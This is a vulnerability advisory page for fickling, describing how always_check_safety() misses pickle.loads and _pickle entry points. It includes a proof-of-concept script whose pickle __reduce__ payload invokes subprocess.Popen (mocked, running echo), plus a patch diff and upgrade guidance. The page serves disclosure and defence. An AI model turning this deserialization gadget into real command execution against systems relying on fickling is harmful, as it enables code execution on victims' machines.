GHSA-wccx-j62j-r448 Fickling has `always_check_safety()` bypass: pickle.loads and _pickle.loads remain unhooked
Fickling fails to hook all pickle entry points, allowing attackers to execute arbitrary code via deserialization despite safety checks being enabled.
- Exploited in the wild
- Not known
- Login needed
- Not needed
- Attackable
- Over the internet
- Victim action needed
- Not needed
- Fix
- Available
What is GHSA-wccx-j62j-r448?
GHSA-wccx-j62j-r448 is an unsafe deserialization vulnerability in fickling, published on 4 Mar 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.
Official description
Assessment
The missing pickle entrypoints pickle.loads, _pickle.loads, and _pickle.load were added to the hook https://github.com/trailofbits/fickling/commit/8c24c6edabceab156cfd41f4d70b650e1cdad1f7.
Original report
Summary
fickling.always_check_safety() does not hook all pickle entry points. pickle.loads, _pickle.loads, and _pickle.load remain unprotected, enabling malicious payload execution despite global safety mode being enabled.
Affected versions
<= 0.1.8 (verified on current upstream HEAD as of 2026-03-03)
Non-duplication check against published Fickling GHSAs
No published advisory covers hook-coverage bypass in run_hook().
Existing advisories are blocklist/detection bypasses (runpy, pty, cProfile, marshal/types, builtins, network constructors, OBJ visibility, etc.), not runtime hook coverage parity.
Root cause
run_hook() patches only:
pickle.loadpickle.Unpickler_pickle.Unpickler
It does not patch:
pickle.loads_pickle.load_pickle.loads
Reproduction (clean upstream)
import io, pickle, _pickle
from unittest.mock import patch
import fickling
from fickling.exception import UnsafeFileError
class Payload:
def __reduce__(self):
import subprocess
return (subprocess.Popen, (['echo','BYPASS'],))
data = pickle.dumps(Payload())
fickling.always_check_safety()
# Bypass path
with patch('subprocess.Popen') as popen_mock:
pickle.loads(data)
print('bypass sink called?', popen_mock.called) # True
# Control path is blocked
with patch('subprocess.Popen') as popen_mock:
try:
pickle.load(io.BytesIO(data))
except UnsafeFileError:
pass
print('blocked sink called?', popen_mock.called) # False
Observed on vulnerable code:
pickle.loadsexecutes payloadpickle.loadis blocked
Minimal patch diff
--- a/fickling/hook.py
+++ b/fickling/hook.py
@@
def run_hook():
- pickle.load = loader.load
+ pickle.load = loader.load
+ _pickle.load = loader.load
+ pickle.loads = loader.loads
+ _pickle.loads = loader.loads
Validation after patch
pickle.loads,_pickle.loads, and_pickle.loadall raiseUnsafeFileError- sink not called in any path
Regression tests added locally:
test_run_hook_blocks_pickle_loadstest_run_hook_blocks__pickle_load_and_loadsintest/test_security_regressions_20260303.py
Impact
High-confidence runtime protection bypass for applications that trust always_check_safety() as global guard.
Which versions are affected by GHSA-wccx-j62j-r448?
2 open source packages ship an affected version, including fickling.
| Package | Affected | Fixed in |
|---|---|---|
fickling PyPI | All versions | 0.1.9 |
fickling PyPI | All versions | 0.1.9 |
How do I fix GHSA-wccx-j62j-r448?
Upgrade fickling to 0.1.9 or later.
Upgrade, and only deserialise data from trusted sources or with an allow-list of types. More about Unsafe deserialization.
Is GHSA-wccx-j62j-r448 being exploited?
There is no known exploitation of GHSA-wccx-j62j-r448 in the wild and no public exploit code.